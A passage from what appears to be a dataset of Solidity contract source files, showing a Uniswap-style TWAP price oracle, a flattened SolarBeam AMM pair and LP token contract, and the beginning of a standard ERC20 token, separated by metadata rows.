function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(now >= startTime, "Epoch: not started yet");
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) {
require(msg.sender == operator(), "Epoch: only operator allowed for pre-epoch");
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, "_period: out of range");
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract OracleSinglePair is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) public Epoch(_period, _startTime, 0) {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 250,660 | 10,505 |
75c13892e56acfff29bc9fab7b0311493cdf95e7991016e332bf31c94fda194c
| 39,032 |
.sol
|
Solidity
| false |
403744567
|
solarbeamio/contracts
|
78c2412cfb842bc9d5030db6e3420c4f81eb9140
|
flatten/SolarPairFlatten.sol
| 5,095 | 18,541 |
// Sources flattened with hardhat v2.6.0 https://hardhat.org
// File contracts/uniswapv2/libraries/SafeMath.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
library SafeMathSolar {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract SolarERC20 {
using SafeMathSolar for uint;
string public constant name = 'SolarBeam LP Token';
string public constant symbol = 'SLP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
address private _trustedForwarder; // remember to change before deploying
// Control support for EIP-2771 Meta Transactions
bool public metaTxnsEnabled = false;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
event MetaTxnsEnabled(address indexed caller);
event MetaTxnsDisabled(address indexed caller);
constructor() public {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)));
}
function isTrustedForwarder(address forwarder) public view returns (bool) {
return metaTxnsEnabled && forwarder == _trustedForwarder;
}
function _msgSender() internal view returns (address sender) {
if (isTrustedForwarder(msg.sender)) {
// The assembly code is more direct than the Solidity version using `abi.decode`.
assembly {
sender := shr(96, calldataload(sub(calldatasize(), 20)))
}
} else {
return msg.sender;
}
}
function _msgData() internal view returns (bytes calldata) {
if (isTrustedForwarder(msg.sender)) {
return msg.data[:msg.data.length - 20];
} else {
return msg.data;
}
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(_msgSender(), spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(_msgSender(), to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][_msgSender()] != uint(-1)) {
allowance[from][_msgSender()] = allowance[from][_msgSender()].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'SolarBeam: EXPIRED');
bytes32 digest = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'SolarBeam: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20Solar {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface ISolarFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function auro() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
function setAuroAddress(address) external;
}
interface ISolarCallee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
interface IMigrator {
// Return the desired amount of liquidity token that the migrator wants.
function desiredLiquidity() external view returns (uint256);
}
contract SolarPair is SolarERC20 {
using SafeMathSolar for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
struct SwapVariables {
uint112 _reserve0;
uint112 _reserve1;
uint balance0;
uint balance1;
uint amount0In;
uint amount1In;
uint fee;
}
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'SolarBeam: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'SolarBeam: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'SolarBeam: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'SolarBeam: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = ISolarFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20Solar(token0).balanceOf(address(this));
uint balance1 = IERC20Solar(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
address migrator = ISolarFactory(factory).migrator();
if (_msgSender() == migrator) {
liquidity = IMigrator(migrator).desiredLiquidity();
require(liquidity > 0 && liquidity != uint256(-1), "Bad desired liquidity");
} else {
require(migrator == address(0), "Must not have migrator");
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
}
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'SolarBeam: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(_msgSender(), amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20Solar(_token0).balanceOf(address(this));
uint balance1 = IERC20Solar(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'SolarBeam: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20Solar(_token0).balanceOf(address(this));
balance1 = IERC20Solar(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(_msgSender(), amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'SolarBeam: INSUFFICIENT_OUTPUT_AMOUNT');
SwapVariables memory vars = SwapVariables(0, 0, 0, 0, 0, 0, 0);
(vars._reserve0, vars._reserve1,) = getReserves(); // gas savings
require(amount0Out < vars._reserve0 && amount1Out < vars._reserve1, 'SolarBeam: INSUFFICIENT_LIQUIDITY');
vars.fee = 25;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'SolarBeam: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) ISolarCallee(to).uniswapV2Call(_msgSender(), amount0Out, amount1Out, data);
vars.balance0 = IERC20Solar(_token0).balanceOf(address(this));
vars.balance1 = IERC20Solar(_token1).balanceOf(address(this));
}
vars.amount0In = vars.balance0 > vars._reserve0 - amount0Out ? vars.balance0 - (vars._reserve0 - amount0Out) : 0;
vars.amount1In = vars.balance1 > vars._reserve1 - amount1Out ? vars.balance1 - (vars._reserve1 - amount1Out) : 0;
require(vars.amount0In > 0 || vars.amount1In > 0, 'SolarBeam: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = vars.balance0.mul(10000).sub(vars.amount0In.mul(vars.fee));
uint balance1Adjusted = vars.balance1.mul(10000).sub(vars.amount1In.mul(vars.fee));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(vars._reserve0).mul(vars._reserve1).mul(10000**2), 'SolarBeam: K');
}
_update(vars.balance0, vars.balance1, vars._reserve0, vars._reserve1);
emit Swap(_msgSender(), vars.amount0In, vars.amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20Solar(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20Solar(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20Solar(token0).balanceOf(address(this)), IERC20Solar(token1).balanceOf(address(this)), reserve0, reserve1);
}
function disableMetaTxns() external {
require(_msgSender() == factory, 'SolarBeam: FORBIDDEN');
require(metaTxnsEnabled, "SolarBeam: META_TXNS_ALREADY_DISABLED");
metaTxnsEnabled = false;
emit MetaTxnsDisabled(_msgSender());
}
function enableMetaTxns() external {
require(_msgSender() == factory, 'SolarBeam: FORBIDDEN');
require(!metaTxnsEnabled, "SolarBeam: META_TXNS_ALREADY_ENABLED");
metaTxnsEnabled = true;
emit MetaTxnsEnabled(_msgSender());
}
}
| 260,864 | 10,506 |
978ccbe9c159b8fc466f6b07e4404d238fccf64cedf76f242769156caa37ff79
| 31,085 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/b6/b6b5098d95d1e23fbefc884eb41784684f6f0948_Zoe.sol
| 3,393 | 13,674 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
modifier whenNotPaused() {
_requireNotPaused();
_;
}
modifier whenPaused() {
_requirePaused();
_;
}
function paused() public view virtual returns (bool) {
return _paused;
}
function _requireNotPaused() internal view virtual {
require(!paused(), "Pausable: paused");
}
function _requirePaused() internal view virtual {
require(paused(), "Pausable: not paused");
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
